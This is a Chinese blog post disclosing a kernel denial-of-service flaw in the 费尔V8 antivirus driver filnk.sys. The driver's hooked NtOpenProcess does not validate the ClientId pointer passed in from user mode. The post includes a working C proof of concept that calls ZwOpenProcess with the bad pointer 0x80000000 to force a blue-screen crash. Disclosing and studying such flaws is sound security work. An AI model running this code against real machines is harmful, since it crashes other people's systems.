费尔V8智能杀毒多处内核拒绝服务漏洞

V8藏着掖着搞了这么多年,除了主界面弄了个毫无用处的动画外,其他附加的程序,例如“隔离区”,“日志管理器”等都是老版本的程序,感觉连个人作品都不如,山寨中的战斗机。哎,让吾等正版用户及其失望。

V8杀毒软件的动态防御驱动filnk.sys在内核对多个系统函数进行了hook,但是对Ring3传递进来的参数都没有任何的有效性检查就直接使用了。因此,造成了内核拒绝服务漏洞。

这里以其Hook的NtOpenProcess为例,函数偏移6A8C0,NtOpenProcess原型如下:

NTSTATUS
NtOpenProcess (
    __out PHANDLE ProcessHandle,
    __in ACCESS_MASK DesiredAccess,
    __in POBJECT_ATTRIBUTES ObjectAttributes,
    __in_opt PCLIENT_ID ClientId
    )

hook函数出问题部分如下:


如上图可以看出,Ring3传递进来的ClientId参数,其在内核中就直接使用了,并没有做任何有效性检查。


测试代码:

/*
     作者:莫灰灰
     博客:http://blog.csdn.net/hu3167343
     描述:费尔V8智能杀毒内核拒绝服务漏洞测试程序
*/
#include "stdafx.h"
#include <windows.h>

int _tmain(int argc, _TCHAR* argv[])
{
        HMODULE hMod = LoadLibrary(L"ntdll.dll");

        if (hMod)
        {
                PVOID p = GetProcAddress(hMod, "ZwOpenProcess");

                if (p)
                {
                        printf("Your System Will Crash, Press any key to Continue.\n");
                        getchar();

                        __asm{
                                push 0x80000000
                                push 0
                                push 1
                                push 0
                                call p
                        }
                }
        }

        return 0;
}
ps:在安装了费尔V8,并且开启了主动防御的机器上运行上述程序,即刻蓝屏重启。

你可能感兴趣的:(测试,Access,Crash,hook,attributes,杀毒软件)